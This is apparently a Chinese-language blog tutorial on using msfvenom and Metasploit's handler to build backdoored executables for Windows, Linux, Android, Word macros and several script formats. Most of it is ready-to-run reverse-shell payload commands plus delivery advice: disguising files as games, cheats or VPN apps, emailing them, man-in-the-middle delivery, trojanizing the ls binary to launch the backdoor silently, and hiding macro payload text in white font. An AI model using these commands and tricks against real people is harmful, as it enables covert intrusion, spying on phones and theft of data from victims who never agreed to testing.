Msfvenom介绍及使用

Msfvenom简介

        Msfvenom主要用来生成带后门的软件。

        Msfvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。

        Msfvenom参数介绍

        查看Msfvenom自带的帮助说明:

msfvenom -h

        简单说明一下各个参数的作用:

-l, --list <type>:列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-p, --payload <payload>:指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format <format>:指定输出格式
-e, --encoder <encoder>:指定需要使用的encoder(编码器),如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch <architecture>:指定payload的目标架构,例如x86 还是 x64 还是 x86_64
--platform <platform>:指定payload的目标平台
-o, --out <path>:指定创建好的payload的存放位置
-b, --bad-chars <list>:设定规避字符集,指定需要过滤的坏字符,避免加密后无法使用。例如:不使用 '\x0f'、'\x00'
-n, --nopsled <length>:为payload预先指定一个NOP滑动长度
-s, --space <length>:设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations <count>:指定payload的编码次数
-c, --add-code <path>:指定一个附加的win32 shellcode文件
-x, --template <path>:指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep:保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name <value>:指定一个自定义的变量,以确定输出格式
-t, --timeout <second>:从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,--help:查看帮助选项

        可以看一下当前工具有哪些payload:

msfvenom -l payloads

        平台集成的payload还是非常丰富的,列表从上翻到下也要一会功夫。

        不逐个演示参数的作用了,直接来实操吧。

Msfvenom对于Windows进行渗透

        生成一个在32位Windows系统可执行且带病毒的文件:

生成带毒文件

        生成命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -a x86 --platform Windows -f exe > reverse_tcp.exe

        文件生成后就需要想办法将文件传给目标了,可以放到网站上,也可以邮件发过去,名字改成有点吸引力一些,或者伪装成游戏客户端之类的。反正最终目的就是让目标运行这个文件。

        只要在LHOST有监听LPORT端口,在目标运行文件时,就能获取到session。至于怎么监听,可以是nc,也可以是Metasploit中的handler模块。

        这里我使用handler模块:

use exploit/multi/handler

        这里使用的这个版本默认设置了一个payload,但不是我们需要的payload,切换一下:

set payload windows/meterpreter/reverse_tcp

        看一下需要设置的参数:

show options

        有一个LHOST和LPORT,根据实际需要设置一下。

        设置好参数就可以跑起来,开始监听了:

run

        当目标执行了文件时,这里就会收到session:

sessions -l

        比较奇怪的是这里收到的session不是一个。查了一些资料,没能解决这个问题,排查了防火墙和网络,不管了,反正其中有能用的session就行。

        进入这个可用的session,就能在靶机上执行命令了:

在靶机上执行命令

Msfvenom对于Linux进行渗透

        生成一个在Linux可执行且带病毒的文件:

生成带毒文件

        生成命令:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=3333 -b "\x00\x0ff" -a x64 --platform linux -i 5 -f elf > reverse_tcp.elf

        至于怎么将这个生成的文件传给目标Linux,这里就不详细说了,可以中间人攻击,或者文件放入一些正常软件中等别人下载(类似钓鱼,这也是为什么下载软件都要去官方下载的原因)。

        还是要用Metasploit中的handler模块,但是payload需要切换一下:

set payload linux/x64/meterpreter/reverse_tcp

        看一下参数:

show options

        设置LHOST和LPORT:

设置参数

        之后就可以将模块运行起来:

run

        等文件在目标主机上执行,就能收到session:

获取session

        像上面这样操作其实在靶机上看是挺明显的,很容易暴露,被安全工程师注意到。

        这里推荐一种方式,将带毒的文件嵌套到/usr/bin里面的常用工具中,比如将ls文件改个名字,然后再新建一个ls文件,再这个新的ls文件中调用原ls文件和带毒的文件,例如这样:

#! /bin/bash
/usr/bin/ls_bak
/root/reverse_tcp.elf & >& /dev/null &

        这样靶机的操作者使用ls的时候,还是能获取到一样的内容,但是再后台会同时发起连接。

嵌套后的效果

Msfvenom对于Android进行渗透

        生成一个在Android可执行且带病毒的文件:

生成带毒文件

        生成命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=3333 --platform android > reverse_tcp.apk

        可以将文件伪装或者嵌入游戏外挂,或者一些梯子,放到网上,等用户自己下载。

        还是要用Metasploit中的handler模块,切换payload:

set payload android/meterpreter/reverse_tcp

        查看一下参数:

show options

        参数由于前面设置过了,这里保留了。

        执行模块:

run

        当靶机中运行带毒文件时,就能收到session:

获取session

        这里有很多Android特有的命令,比如获取通讯录、获取定位、打开摄像头之类的:

Android特有的命令

        其实这些已经涉及到个人隐私了。

Msfvenom伪装成word进行渗透

        前面介绍了对于Windows进行渗透,直接使用一个exe的可执行文件,但是现在大家的安全意识普遍都有了提升,不太会执行未知、可疑的exe。这里再介绍一种将病毒伪装成word文档,这样被打开的概率就会大一些了。

        先准备一个word文档:

准备word文档

        生成需要的宏文档:

生成宏文档

        生成命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=3333 -a x86 --platform Windows -e x86/shikata_ga_nai -i 5 -f vba-exe

        生成的宏文档分成两部分,分别是MACRO CODE和PAYLOAD DATA。

        打开准备的word文件,新建一个宏:

新建宏

        将前面生成的MACRO CODE复制到新建的宏里面:

编辑word的宏

        保存后,回到word编辑界面,将前面生成的PAYLOAD DATA复制进来:

编辑word的内容

        编辑完成后保存。至于这个word文档怎么发送给目标机器,这里就不展开了。

        继续使用Metasploit中的handler模块,切换payload:

set payload windows/meterpreter/reverse_tcp

        设置参数后运行,当有用户打开前面制作的word,并成功运行那个hong后,就能收到session。

        我再Windows+wps上尝试了一下激活宏,没有连接目标主机,metasploit也没获取到session。不清楚是Windows系统做了防护还是wps进行了识别,有知道原因的同学请评论告知一下。

        有同学可能会说上上面这样制作宏文件一看就知道有问题,一点隐蔽性都没有。其实可以改变一下字体,比如改成白色,然后顶部加一些图片,让目标在看图片时消耗一些时间,以便在这段时间里完成后门设置。

其他

        Msfvenom还能生成很多其他格式的带毒文件,比如mac、php、asp、python等,这里简单列举一下生成命令:

# mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
# php
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
# asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.asp
# aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
# jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
# python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
# perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

总结

        Msfvenom是一个功能非常丰富的工具,但是通过Msfvenom生成的文件获取session其实只是第一步而已,后面还需要做很多后渗透测试的工作,往往需要和Metasploit一起使用。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,542评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,822评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,912评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,449评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,500评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,370评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,193评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,074评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,505评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,722评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,841评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,569评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,168评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,783评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,918评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,962评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,781评论 2 354

推荐阅读更多精彩内容